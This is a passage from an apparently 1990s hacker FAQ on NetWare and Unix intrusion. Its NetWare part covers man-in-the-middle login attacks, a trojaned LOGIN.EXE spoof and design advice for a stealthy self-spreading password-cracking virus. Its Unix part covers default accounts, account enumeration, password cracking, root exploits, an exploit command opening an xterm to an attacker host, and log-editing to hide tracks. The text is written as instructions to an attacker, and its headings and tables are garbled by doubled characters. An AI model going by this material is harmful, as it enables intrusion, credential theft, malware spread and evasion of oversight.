Another way is to gain two entry points into the network (one close to Alice, the other close to the server). The best way to do this is to wire two hosts together in the specified locations. If using wire is infeasable (which in most cases it will be), Bob can use wireless network cards, or modems plugged into existing phone jacks, or modems with cellular capability. If modems are used, the attack will require Bob to take control of two computers on the network, and will increase the time needed to get packets to Alice or the server.

This attack will not work if the server requires Alice to sign packets. Alice's workstation may be set up to sign packets, and Alice can still use signed packets, and the attack will still work. However, if all hosts are required to sign packets, the attack won't work. This is because Bob will never know Alice's password, nor will he ever know X=hash(UID,password). Since NetWare 3.x defaults to allowing the host to decide wether or not to sign packets, this attack is still feasable. Sysadmins can defeat this attack by requiring packet signatures for all hosts.

The attack: When Bob sees Alice request a login, Bob also requests a login as Alice from. The server will generate two random values (R[a] and R[b], denoting the R sent to Alice and the R sent to Bob respectivley). When Bob receives R[b], he spoofs the servers address and sends R[b] to Alice. Alice will think the server requested Alice to compute Y[b]=hash(X,R[b]) rather than what the server really intended: Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will sniff Y[b] from the network as Alice sends it, and transmit it to the server (using his real address). At this point the server will think Alice has attempted to login twice. Bob's attempt will work, and Alice's attempt will fail. If all went well, Bob has assumed the identity of Alice without knowing her password, and Alice is re-typing in her password.

If the server won't allow the same user to login twice simultaneously, or ever aborts both login sequences after retreiving two responses to the same question, then Bob should saturate a network (but not shut it down completely) between Alice and the server while Bob is attempting to login as Alice.

For the ultra paranoid: Bob should be careful, there may be another attacker, Joe, just waiting for Alice to login with packet signing turned off. Here Joe can also assume the identity of Alice with significantly less effort.

Now let's discuss Netware 4.x: The attack follows the Netware 3.x attack until Alice attempts to retrieve the server's public key. At this point Bob sends his own public key to Alice. Alice will then send the server the pair (Y,R2) encrypted with Bob's public key. Bob sniffs this information off the network, decrypts the pair (Y,R2). Then generates his own R2 (or keeps the one Alice chose), retreives the real public key of the server and sends the server the pair (Y,R2) encrypted with the server's real public key.

If server the is requiring packet signature, the server will then send Bob Z to allow him access as Alice. Bob doesn't know Alice's private key, as he never receives it. Remember that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server, and is never send unencrypted on the wire. So Bob can't sign packets as Alice.

But Bob is not completely out of luck yet. Bob can try an offline attack at guessing Alice's password since he knows Y', R and Alice's UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's likely that Alice's password in not a particularly good one, this is a severe reduction in security, but not a total breach, since Bob can compute X by finding a password such that X=hash(pass,UID). Once Bob knows X, he can determine what Alice's private RSA key is. THEN he can sign packets.

It should be noted that Alice may cache the server's public key for the second login attempt. If this is true, Alice won't be able to login and may notice what has happened. But Alice's private RSA key will never change, and once that is attained is doesn't matter even if Alice changes her password. Alice's password can still be discovered.

2#23#3.#.3#3.#. A#Ar#re#e N#Ne#et#tw#wa#ar#re#e-#-a#aw#wa#ar#re#e v#vi#ir#ru#us#se#es#s p#po#os#ss#si#ib#bl#le#e?#?

A NetWare aware virus could allow an attacker to gain access to a large number of servers available on the network.

Using one of the strategies used by the Internet Worm of 1988 combined with simple virus strategy, a virus can be constructed to infect many clients/servers across many networks (the virus could also employ attacks similiar to HACK.EXE or even Man-In-The_Middle attacks). Some NetWare networks will have a large number of servers attached. It's also true that most users (including Supe and Admin) will use the same password on many different servers (some may have no password at all).

A virus could exploit this vulnerability and spread to other servers which it otherwise would not have access to. The virus could also use the idle CPU time on infected clients to crack the passwords of other users.

However, care must be taken not to give the virus away by setting off intruder detection alarms. The virus should randomly select one user from a randomly selected server attempt to login using a randomly selected word from a wordlist. How often the client should attempt logins depends upon the size of the network (remember that if the

virus succeeds, there may be 10s of thousands of clients breaking passwords in parrallel).

The virus should estimate the size of the network, and use laws of probibility to determine how often to attempt a break in so that no account is tried twice in the same hour. This should be calculated by relating the number of unique accounts, the number of clients (estimated by monitoring network traffic and assuming all servers have the same number of clients on their network. While this is not 100% accurate, this should be accurate enough for our purposes.

Some the estimated success rate of the virus (measured in propagation delay for infecting hosts per day from a single host), and the length of time the virus has been running should be considered. Using A=number of unique accounts, P = propagation delay, and n = number of days virus has been running, then the following computes the number of guesses the client should make per hour: (A*24)/(P^n).

What should or could this virus do? Well, if it is running on a workstation with a network card, we could sniff logins. Since R and hash(X,R) are sent in the clear, the virus could attempt an offline computational attack against X, thus avoiding a brute force attack that could trigger intruder detection. The virus can't use the MITM attacks on the login sequence because it doesn't have the required wiring topology neccessary to implement the attack. Yes, you COULD try and build that in but then it probably would be too big and noticeable. Remember, we're talking virus, not stand-alone application.

2#23#3.#.4#4.#. C#Ca#an#n a#a t#tr#ro#oj#ja#an#ne#ed#d L#LO#OG#GI#IN#N.#.E#EX#XE#E b#be#e i#in#ns#se#er#rt#te#ed#d d#du#ur#ri#in#ng#g t#th#he#e l#lo#og#gi#in#n p#pr#ro#oc#ce#es#ss#s?#?

Apparently so.

Here is a different perspective of the login sequence which is common to all versions of NetWare: 1. The workstation attaches to the server.

2. The workstation maps a drive to the server's SYS:\LOGIN directory.

3. The workstation downloads LOGIN.EXE from the server and executes it.

4. If the user is authenticated, the workstation downloads and executes the login script.

The hole in this protocol is when the workstation downloads LOGIN.EXE. Since the user isn't logged in, there is no packet signing available, thus any workstation is capable of impersonating the server. Here the attacker can simply sniff the request to download LOGIN.EXE from the network, and then send the workstation ANY program in return and the workstation will execute it.

The optimal attack here would be to send a modified copy of the real

LOGIN.EXE file. The modified EXE could encrypt the user's password (using public key crypto) and broadcast it to the network. However, the modified EXE could also carry out the login handshake as normal and log the user in and executing the login script. With this attack, the target user would have no way of identifying that anything out of the ordinary has happened. It appears that NetWare always starts with the sequence numbers at 0 and increments seq + 1 from there for the remainder of the session. Thus it's possible to predict the sequence numbers. This will allow the attacker to exploit the hole without using a MITM attack and still allow the conversation to continue normally by using only a single workstation.

The attack can also be carried out by any single host on the network which is capable of sniffing the request to download LOGIN.EXE. It's also possible to do this even if the workstation and the server are on the same network (if and only if the server is slower responding to requests than the attacker's machine). Here the attacker just makes up the sequence numbers, and sends the workstation a phony LOGIN.EXE which will broadcast the user's password (again, encrypted) over the network and then re-boot the machine. (It's also possible for the attacker to log the user in and have the attack transperent to the user. In this case, the attacker would have to sniff one of the server's packets off the network, and re-send it to the workstation with adjusted sequence numbers so that the workstation's next ACK will synch with the server's sequence numbers. Note that the attacker will have to artificially ACK the packets the server sends when the client tries to download LOGIN.EXE.) It's been stated that only the first few bytes of NetWare packets are signed. That means the user can not only modify LOGIN.EXE on the fly, but can modify any program on the fly.

Let's put this into a more proper perspective. The exploit program would take the MAC address of an admin/supe person as a parameter, wait for the user to attempt to login, exploit the host, and exit. If the attacker didn't want to take the effort to allow the conversation to continue, s/he could make the exploit program re-boot the host automatically after broadcasting the password over the network (once again, encrypted and intended for the attacker).

Obviously we don't need to exploit a large range of hosts, only the ones with LAN admins logging in. This would typically be a small subset of machines (which quite possibly normal users wouldn't have access to in order to prevent the use of keyboard capture routines).

So all the attacker needs to do is exploit the host where the Adminequiv logs in.

The idea came from an already known hole in NFS for UNIX (it's exploited exactly the same way). But NetWare is supposed to avoid this hole through the use of packet signatures. It obviously didn't. The exploit for this hole would really not be much different than the code for HACK.EXE which uses the same principles.

Of course, this hole allows anyone to execute any arbitrary program on any host. So the possibilities are only limited to your imagination, especially if you start combining the techniques from section 11. A virus that did the LOGIN.EXE spoof that left code to decypher the

private key of each workstation comes leaping to mind...

Now the MITM attack isn't required to take advantage of any part of this attack. It would be if the attacker couldn't predict the server's and the user's sequence numbers. This has the following effects: 1. The attacker doesn't need to sniff one of the server's packets off the network to resynchronize the sequence numbers.

2. The attacker doesn't need to artifically ACK the server's responses.

3. The MITM attack isn't needed to modify a program on the fly. Any single workstation can implement the attack.

2#23#3.#.5#5.#. I#Is#s a#an#ny#yt#th#hi#in#ng#g "#"v#vu#ul#ln#ne#er#ra#ab#bl#le#e"#" d#du#ur#ri#in#ng#g a#a p#pa#as#ss#sw#wo#or#rd#d c#ch#ha#an#ng#ge#e?#?

Netware 3.x does not use the public key crypto stuff that Netware 4.x uses, so to transmit a password across the wire during a password change it has to be encrypted with something. The new password is encrypted with the previous password. However if the previous password is blank (i.e. new account) the "key" to encrypt with might as well be plaintext.

2#23#3.#.6#6.#. I#Is#s "#"d#da#at#ta#a d#di#id#dd#dl#li#in#ng#g"#" p#po#os#ss#si#ib#bl#le#e?#?

Novell's data validation scheme involves packet signature and a checksum. However since a checksum includes the packet signature, IN THEORY it is possible to use this info in combination with another problem to diddle data.

The other the first 89 and on would now

problem involves the fact that packet signature only uses 52 bytes of the data portion, which means any data from byte could be altered, a new checksum generated, and the packet have a valid signature AND checksum, but altered data.

Of course, this assumes an attacker could write code that could do something interesting beyond byte 89 AND generate a checksum AND retransmit the forged packet AND beat the real packet to its destination.

Assuming checksums could be predetermined, especially if you are looking for a specific source and target address and type of packet, it could be done.

2#24#4.#.

U#Un#ni#ix#x A#Ac#cc#co#ou#un#nt#ts#s

The following section deals with Accounts on Unix systems.

2#24#4.#.1#1.#. W#Wh#ha#at#t a#ar#re#e c#co#om#mm#mo#on#n a#ac#cc#co#ou#un#nt#ts#s a#an#nd#d p#pa#as#ss#sw#wo#or#rd#ds#s f#fo#or#r U#Un#ni#ix#x?#?

All Unix systems have an account called root. This account is also commonly known as the SuperUser. Actually any account with a UID and GID of zero could be considered a SuperUser account. It is possible that a system administrator will rename the root account for obfuscation, but this is rather impractical as many applications not only require the UID zero but actually require the name of the account be "root" to run certain functions. As administrators do not wish to create more problem or have to patch more code than neccessary, this is a rare occurence.

Oh, and unless you've being living under a rock, you should already know that root is god on Unix.

Here are a few other accounts and passwords (if known) commonly found on Unix systems:

password

System -------Some Some Some Some Some Some Some Some Some Some Some

Account --------guest demo games nuucp daemon bin man lpd sys nobody ftp

Password -------(none) (none) (none) (none) (none) (none) (none) (none) (none) (none) (none)

Purpose ----------------------------------------Guest access Demo access Play games UUCP access Typically invalid for direct access Typically invalid for direct access Typically invalid for direct access Typically invalid for direct access Typically invalid for direct access Typically invalid for direct access Anon FTP access, use email address as

AIX NeXT NeXT NeXT SGI/Irix SGI/Irix SGI/Irix SGI/Irix SGI/Irix

guest root signa me 4DGifts lp tour tutor demos

guest NeXT signa (none) (none) (none) (none) (none) (none)

Guest access god (default password on shipped systems) Guest account Not seen on all systems

2#24#4.#.2#2.#. H#Ho#ow#w c#ca#an#n I#I f#fi#ig#gu#ur#re#e o#ou#ut#t v#va#al#li#id#d a#ac#cc#co#ou#un#nt#t n#na#am#me#es#s f#fo#or#r U#Un#ni#ix#x?#?

Remotely you have a few things you can try. Here are a few suggestions: f#fi#in#ng#ge#er#r By typing in finger @targethost you get get users that are

currently logged in. This will give you a few account. Also by typing finger account@targethost you can determine if that account is valid, and possibly the last time it has been accessed. Unfortunately most Unix systems refuse finger requests from remote hosts, so this usually doesn't do you a lot of good.

But if finger is allowed, it can return a lot of information.

Try running finger with a -l for more verbose listings. If you gain local access, use finger account to get info on other accounts on the system. For example, if finger root returns info about an administrator named Fred, then finger fred, which may reveil Fred's regular account. r#ru#us#se#er#rs#s You can run rusers targethost which may return remote user info if the service is allowed. w#wh#ho#oi#is#s Doing a whois domain will return info about who is responsible for a domain, and usually included a valid account name. You can use this to possibly determine other account names, and odds are very good that the administrative contact and/or the technical contact have the system privileges you desire. m#ma#ai#il#l Often by telnetting to the mail server and trying to verify or expand names you can learn account names. By typing telnet targethost 25 and typing in EXPN account or VRFY account will tell you if that account is valid. You may have to type in HELO or some other commands before you can do an EXPN or VRFY. A lot of administrators are aware of the above techniques, and will often treat these probes as attacks themselves. Many sites refuse finger and ruser accesses, and a lot of sites have configured their mailer to either not respond to VRFY and EXPN or simply return nothing of value. Odds are good that sites that refuse these types of probes are usually logging these types of probes, so you may wish to probe from one location and attack from another.

If you can gain access locally, such as through a guest account, there are a number of things you can do to view possible account names. Try using some of the finger techniques from above minus the targethost, try typing w or who or even more /etc/passwd to get account names.

2#25#5.#.

U#Un#ni#ix#x P#Pa#as#ss#sw#wo#or#rd#ds#s

This section deals with Unix passwords.

2#25#5.#.1#1.#. H#Ho#ow#w d#do#o I#I a#ac#cc#ce#es#ss#s t#th#he#e p#pa#as#ss#sw#wo#or#rd#d f#fi#il#le#e i#in#n U#Un#ni#ix#x?#?

The password file for Unix is located in /etc and is a text file called passwd. By default and by design this file is world readable

by anyone on the system. On a Unix system using NIS/yp or password shadowing the password data may be located elsewhere.

2#25#5.#.2#2.#. W#Wh#ha#at#t'#'s#s t#th#he#e f#fu#ul#ll#l s#st#to#or#ry#y w#wi#it#th#h U#Un#ni#ix#x p#pa#as#ss#sw#wo#or#rd#ds#s?#?

Okay first off let's cover the structure of the password file.

An entry in the password file consists of seven colon delimited fields: nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash

This is what the fields actually are: nomad HrLNrZ3VS3TF2 501 100 Simple Nomad /home/nomad /bin/bash

-

Account or user name, what you type in at the login prompt One way encrypted password (plus any aging info) User number Group number GECOS information Home directory Program to run on login, usually a shell

The password field contains, yes, a one way encrypted password. This means that it is practically impossible to decrypt the encrypted password. The password field consists of 13 characters - the first two characters are the "salt" and the remainder is the actual hash.

When you log in with your account name and password, the password is encrypted and the resulting hash is compared to the hash stored in the password file. If they are equal, the system accepts that you've typed in the correct password and grants you access.

To prevent crackers from simply encrypting an entire dictionary and simply looking up the hash, the salt was added to the algorithm to create a possible 4096 different conceivable hashes for a particular password. This lengthens the cracking time because it becomes a little harder to store an encrypted dictionary online as the encrypted dictionary now would have to take up 4096 times the disk space. This does not make password cracking harder, just more time consuming.

Unix passwords allow mixed case, numbers, and symbols. Typically the maximum password length on a standard Unix system is 8 characters, although some systems (or system enhancements) allow up to 16 characters.

2#25#5.#.3#3.#.

H#Ho#ow#w d#do#oe#es#s b#br#ru#ut#te#e f#fo#or#rc#ce#e

p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h U#Un#ni#ix#x?#?

Brute force password cracking is simply trying a password of A with the given salt, folowing by B, C, and on and on until every possible character combination is tried. It is very time consuming, but given enough time brute force cracking WILL get the password.

There are a few brute force crackers out there for Unix passwords. Any brute force cracker will do -- I personally don't believe in using them as there are other ways to circumvent security than trying a brute force crack on the root password.

2#25#5.#.4#4.#. H#Ho#ow#w d#do#oe#es#s d#di#ic#ct#ti#io#on#na#ar#ry#y p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h U#Un#ni#ix#x?#?

Dictionary password cracking is the most popular method for cracking Unix passwords. The cracking program will take a word list, and one at a time try to crack one or all of the passwords listed in the password file. Some password crackers will filter and/or mutate the words as they try them, such as substitute numbers for certain letters, add prefixes or suffixes, or switch case or order of letters.

The most popular cracking utility is probably Alex Muffet's program that is simply called crack. Crack can be configured by an administrator to periodically run and automagically mail a nastygram to a user with a weak password, or ran in manual mode. Crack can also be configured to run across multiple systems and to use user-definable rules for word manipulate/mutation to maximize dictionary effectiveness -- very flexible. However it is probably too much program for the novice script kiddie.

Another popular favorite is John the Ripper, based off of the popular DOS-based Jack the Ripper. Jack had a number of easy-to-use features, and Solar Designer took Jack's interface and developed John. To make things even better, Solar added Crack-like rules, and made sure the code would run on DOS or Unix. Either one is recommended. If you're going to be cracking on a DOS-based machine, use John the Ripper, otherwise either one is fine for Unix (the jury is still out on which one is best for Unix, it really depends on which one you are used to using).

2#25#5.#.5#5.#. H#Ho#ow#w d#do#oe#es#s a#a S#Sy#ys#s A#Ad#dm#mi#in#n e#en#nf#fo#or#rc#ce#e b#be#et#tt#te#er#r p#pa#as#ss#sw#wo#or#rd#ds#s a#an#nd#d p#pa#as#ss#sw#wo#or#rd#d m#ma#an#n-#a#ag#ge#em#me#en#nt#t?#?

There are several techniques that a Sys Admin might employ to force users to use better passwords, and several different packages that could be loaded and configured onto most Unix systems to better secure the passwords.

One of the first techniques is to enforce password aging. While this varies from system to system, basically password aging states that you can "expire" a password. That way you can force a user to have to

change his password periodically. The security advantage is that if the user changes their password every 30 days, that stolen password file is obsolete after a month (in theory, see the next question).

This alone is not real security unless it is used in conjunction with other password techniques.

Some systems allow a minimal password length to be specified, certain dictionary words to be disallowed, or even disallow perceived "crackable" passwords. This in combination with password aging can help ensure that a user's password is probably going to be aged and therefore changed before it can be cracked.

Another very popular technique is called password "shadowing". This alters the password file entry slightly: nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash

Note the ! token in place of the one way encrypted password. This means that the password is located in a different file, typically called the shadow file. You will also find a * token on some shadow password implementations. On many Unix systems the password file is still located in /etc but called shadow, some systems even place the shadow in a different directory. Here is a chart that lists a few systems, the location of the shadow, and the token.

System --------------AIX BSD DG/UX HP-UX IRIX Linux SCO SunOS4.1+c2 SunOS 5.x System V < 4.2 System V >= 4.2

Shadow ----------------------------/etc/security/passwd /etc/master.passwd /etc/tcb/aa/user/ /.secure/etc/passwd /etc/shadow /etc/shadow /tcb/auth/files/[first letter of username]/[username] /etc/security/passwd.adjunct /etc/shadow [optional NIS+ private secure maps/tables] /etc/shadow /etc/security/* database

Token ---------! * * * x * * ##username ##username x x

Depending on the system and implementation, an encrypted password may still be allowed in the password field, and lack of ANYTHING in the field implies lack of a password for that account. Some systems (AIX comes to mind) allow you to configure exactly what is allowed and not allowed as far as how the password field is used.

It should be noted most modern systems come with password shadowing already set up and configured.

2#25#5.#.6#6.#. S#So#o w#wh#ha#at#t c#ca#an#n I#I l#le#ea#ar#rn#n w#wi#it#th#h a#a p#pa#as#ss#sw#wo#or#rd#d f#fi#il#le#e f#fr#ro#om#m a#a h#he#ea#av#vi#il#ly#y s#se#ec#cu#ur#re#ed#d s#sy#ys#st#te#em#m?#?

Okay, so you've gained access to a system and can see the password file, but it is shadowed. Here is an example: root:!:0:0:root:/root:/bin/tcsh bin:!:1:1:bin:/bin: daemon:!:2:2:daemon:/sbin: adm:!:3:4:adm:/var/adm: lp:!:4:7:lp:/var/spool/lpd: sync:!:5:0:sync:/sbin:/bin/sync shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown halt:!:7:0:halt:/sbin:/sbin/halt mail:!:8:12:mail:/var/spool/mail: news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico operator:!:0:0:operator:/root:/bin/tcsh games:!:12:100:games:/usr/games: man:!:13:15:man:/usr/man: postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd: nobody:!:65535:100:nobody:/dev/null: ftp:!:404:100::/home/ftp:/bin/nologin nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh

Some of the more interesting things about this password file are: +#o

User "operator" has a user number of zero, so this user is root equiv. +#o Eight accounts have interactive shells, so you have eight targets for direct shell access. +#o

Multiple services, such as news, web, and possibly anonymous ftp are configured on the box.

+#o

User "nomad" apparently has an older account called "thegnome" which may not be currently in use, making it a prime target for attack.

+#o

User "webadmin" looks to be an account that is shared among multiple people.

+#o

The telephone prefix is 525 (fire up the wardialer and look for a modem).

+#o

Suspicious "dorkus" account. There may exist an account for Fred on another box (check for .rhosts, etc).

2#26#6.#.

U#Un#ni#ix#x L#Lo#oc#ca#al#l A#At#tt#ta#ac#ck#ks#s

This section deals with attacking Unix from a local account or from the console itself.

2#26#6.#.1#1.#.

W#Wh#hy#y a#at#tt#ta#ac#ck#k l#lo#oc#ca#al#ll#ly#y?#?

When you are trying to attack and gain root on a to start with is to gain at least limited access are large numbers of exploits to "bust root" but an account on the box. Here is an example attack

file server, a method on a system. There many require you have scenario:

+#o

Gain access to server lame.nmrc.org via guest account (note to idiots: this is a non-existant example of a server).

+#o

Note that it's running an older version of Linux.

+#o

Prowl around on Bugtraq, rootshell, or some other place with exploit code, and find an exploit for one of the outdated or unpatched programs or subsystems.

+#o

Compile and run it to become root.

+#o

Brag to all your friends and on IRC so you get caught and go to jail (this step is optional).

2#26#6.#.2#2.#. w#wo#or#rk#k?#?

H#Ho#ow#w d#do#o m#mo#os#st#t e#ex#xp#pl#lo#oi#it#ts#s

There are several different attack techniques you can use from a local account and the handy exploit you are running. Here are a few common ones with extremely simple explanations: M#Mi#is#sc#co#on#nf#fi#ig#gu#ur#ra#at#ti#io#on#n If excessive permission exist on certain directories and files, these can lead to gaining higher levels of access. For example, if /dev/kmem is writable it is possible to rewrite your UID to match root's. Another example would be if a .rhosts file has read/write permissions allowing anyone to write them. Yet another example would be a script launched at startup, cron, or respawned. If this script is editable, you could add commands to run with the same privileges as who started them (particularly for startup rc files this would be as root).

P#Po#oo#or#r S#SU#UI#ID#D Sometimes you will find scripts (shell or Perl) that perform certain tasks and run as root. If the scripts are writable by your id, you can edit it and run it. For example I once found a shutdown script world writable. By adding a few lines at the beginning of the script it was possible to have the script

create a root shell in /tmp.

B#Bu#uf#ff#fe#er#r O#Ov#ve#er#rf#fl#lo#ow#w Buffer overflows are typically used to spawn root shells from a process running as root. A buffer overflow could occur when a program has a buffer for user-defined data and the user-defined data's length is not checked before the program acts upon it.

See the next question for more details.

R#Ra#ac#ce#e C#Co#on#nd#di#it#ti#io#on#ns#s A Race Condition is when a program creates a short opportunity for evil by opening a small window of vulnerability. For example, a program that alters a sensitive file might use a temporary backup copy of the file during its alteration. If the permissions on that temporary file allow it to be edited, it might be possible to alter it before the program finishes its editing process.

P#Po#oo#or#r T#Te#em#mp#p F#Fi#il#le#es#s Many programs create temporary files while they run. If a program runs as root and is not careful about where it puts its temp files and what permissions these temp files have, it might be possible to use links to create root-owned files.

2#26#6.#.3#3.#. S#So#o h#ho#ow#w d#do#oe#es#s a#a b#bu#uf#ff#fe#er#r o#ov#ve#er#rf#fl#lo#ow#w w#wo#or#rk#k?#?

A buffer overflow works as follows: - Program eleetd has unchecked user input and is owned by root.

- Hacker creates program that sends user input greater than what eleetd's buffer for the input will hold.

- Hacker has made sure that this data when placed upon the stack will alter the next instruction the CPU will execute.

- Hacker runs evil program and the hacker's command, /bin/sh, runs as root, dropping the hacker to a shell running as root.

For example, if the buffer holds 108 bytes, the hacker creates a program that sends more than 108 bytes to that buffer. By carefully crafting the extra bytes starting at byte 109, the hacker can make the program execute additional commands.

For more information on buffer overflows, check out Mudge's tutorial on writing them at http://www.l0pht.com/advisories/bufero.html <http://www.l0pht.com/advisories/bufero.html>, or read this overview in a paper called "Compromised - Buffer Overflows, from Intel to SPARC Version 8", available from http://www.l0pht.com/advisories/bufitos.pdf <http://www.l0pht.com/advisories/bufitos.pdf> (Acrobat version) or http://www.l0pht.com/advisories/buf.ps

<http://www.l0pht.com/advisories/buf.ps> (PostScript version). Another fine article appeared in Phrack 49, File 14, called "Smashing The Stack For Fun And Profit" by Aleph One. Phrack issues can be downloaded from http://www.phrack.com <http://www.phrack.com>.

2#27#7.#.

U#Un#ni#ix#x R#Re#em#mo#ot#te#e A#At#tt#ta#ac#ck#ks#s

This section deals with hacking Unix systems remotely.

2#27#7.#.1#1.#.

W#Wh#ha#at#t a#ar#re#e r#re#em#mo#ot#te#e h#ha#ac#ck#ks#s?#?

A remote hack is when you attack the server you are not logged into.

Usually this is done from another server, although in some cases you can do it from a regular PC (depending on the operating system).

Guessing a user account and password (unless it is a guest account) on a remote system is BARELY considered a "remote hack", so we'll not really cover that. We'll assume you don't know an account name and password on the remote system.

Remote hacks come in a couple of different flavors. Usually exploiting an existing service running on the victim's server (which is misconfigured or allows too much access) is the typical exploit.

Exporting an NFS mount read/write to anyone might not be a bad thing, but if you can NFS mount directories containing .rhosts files, then it can be a very bad thing. Also, certain daemons running might be subject to buffer overflows remotely, allowing someone from a remote location run arbitrary commands on the victim's server.

Here are a couple of examples: - You are root on a host named badguy.

- You discover the host victim is exporting /home2/old read/writable to the world.

- You also discover by fingering various accounts that user fred's home directory is /home2/old/fred and he hasn't logged in for months.

- Quickly, you create a fred account on badguy.

- Now you mount /home2/old and create an .rhosts file to establish trust with badguy.

- After you become fred on badguy, you rlogin to victim as fred.

Here's another attack involving a buffer overflow: - This remote system is running named.

- You have written a named exploit that allows you to send arbitrary commands through the named daemon. It does a buffer overflow trick, you compile it and name it sploit.

- You type: sploit victim.nmrc.org "/usr/X11R6/bin/xterm -display badguy.whatever:0"

- A window appears on your terminal that is running as root on victim.nmrc.org.

2#28#8.#.

U#Un#ni#ix#x L#Lo#og#gg#gi#in#ng#g

This section contains info regarding logging for Unix.

2#28#8.#.1#1.#. W#Wh#he#er#re#e a#ar#re#e t#th#he#e c#co#om#mm#mo#on#n l#lo#og#g f#fi#il#le#es#s i#in#n U#Un#ni#ix#x?#?

Log files for Unix vary from flavor to flavor. But there are a few guidelines as to where these logs are kept.

System log files and accounting files are in /var/adm, /var/log, or sometimes /usr/adm. Common log files include messages, syslog, and on some systems sulog. Checking /etc/defaults and /etc/syslog.conf may reveil more. Also wtmp, utmp, and lastlog will contain information regarding logins.

The most important one will probably be syslog. Most utilities, including security add-on programs can write to syslog, so it make a handy location for dumping info. But bear in mind that there are a lot of processes that might log to separate log files. Here are some potential files to look for: File ------------------/var/spool/cron/log /var/log/maillog /var/spool/lp/log

Purpose --------------------------------------Cron log file Logs inbound and outbound mail activity Log file for printing

There are more, but this should give you an idea.

2#28#8.#.2#2.#. H#Ho#ow#w d#do#o I#I e#ed#di#it#t/#/c#ch#ha#an#ng#ge#e t#th#he#e l#lo#og#g f#fi#il#le#es#s f#fo#or#r U#Un#ni#ix#x?#?

Most of these files are text files and can be easily edited, assuming you have the permission to do so. But some of these files require you to write special tools to edit them, mainly the utmp, wtmp, and possibly lastlog. A good "universal" editor (meaning it will run on most Unix systems) can be found at http://www.nmrc.org/files/unix/remove.c <http://www.nmrc.org/files/unix/remove.c>. It will allow you to selectively remove entries from these files.

2#29#9.#.

H#Ha#ac#ck#ke#er#r R#Re#es#so#ou#ur#rc#ce#es#s

This section contains information regarding resources for hackers.

2#29#9.#.1#1.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e s#se#ec#cu#ur#ri#it#ty#y-#r#re#el#la#at#te#ed#d W#WW#WW#W l#lo#oc#ca#at#ti#io#on#ns#s?#?

While there are dozens of WWW sites with information, here is a list of some that deal mainly with security, or with some of the tools discussed in this FAQ. NT: http://www.l0pht.com/l0phtcrack/ <http://www.l0pht.com/l0phtcrack/> http://www.somarsoft.com/ <http://www.somarsoft.com/> http://www.ntsecurity.com/ <http://www.ntsecurity.com/> http://listserv.ntbugtraq.com/ <http://listserv.ntbugtraq.com/> http://www.ntresearch.com/ <http://www.ntresearch.com/> http://www.ntinternals.com/ <http://www.ntinternals.com/> http://www.intrusion.com/ <http://www.intrusion.com/> http://www.iss.net/ <http://www.iss.net/> http://samba.anu.edu.au/pub/samba/samba.html <http://samba.anu.edu.au/pub/samba/samba.html> http://home.eunet.no/~pnordahl/ntpasswd/ <http://home.eunet.no/~pnordahl/ntpasswd/> http://www.dataprotect.com/ntfrag/ <http://www.dataprotect.com/ntfrag/> Netware: http://www.novell.com/ <http://www.novell.com/> http://www.novell.de/ <http://www.novell.de/> http://www.salford.ac.uk/ais/Network/Novell-Faq.html <http://www.salford.ac.uk/ais/Network/Novell-Faq.html> http://mft.ucs.ed.ac.uk/ <http://mft.ucs.ed.ac.uk/> http://www.efs.mq.edu.au/novell/faq <http://www.efs.mq.edu.au/novell/faq> http://occam.sjf.novell.com:8080 <http://occam.sjf.novell.com:8080> http://www.safe.net/safety/ <http://www.safe.net/safety/> http://www.users.mis.net/~gregmi/ <http://www.users.mis.net/~gregmi/> http://www.rad.kumc.edu/share/novell/apps/ <http://www.rad.kumc.edu/share/novell/apps/> http://www.cis.ohiostate.edu/hypertext/faq/usenet/netware/security/faq.html <http://www.cis.ohiostate.edu/hypertext/faq/usenet/netware/security/faq.html> Packet Sniffing: http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/ <http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/> 2#29#9.#.2#2.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e s#se#ec#cu#ur#ri#it#ty#y-#r#re#el#la#at#te#ed#d U#US#SE#EN#NE#ET#T g#gr#ro#ou#up#ps#s?#?

Tons o' newsgroups....

Security in general: comp.security.announce comp.security.firewalls comp.security.misc alt.security alt.2600 Web stuff: comp.infosystems.www.authoring.cgi comp.infosystems.www.servers.misc comp.infosystems.www.servers.ms-

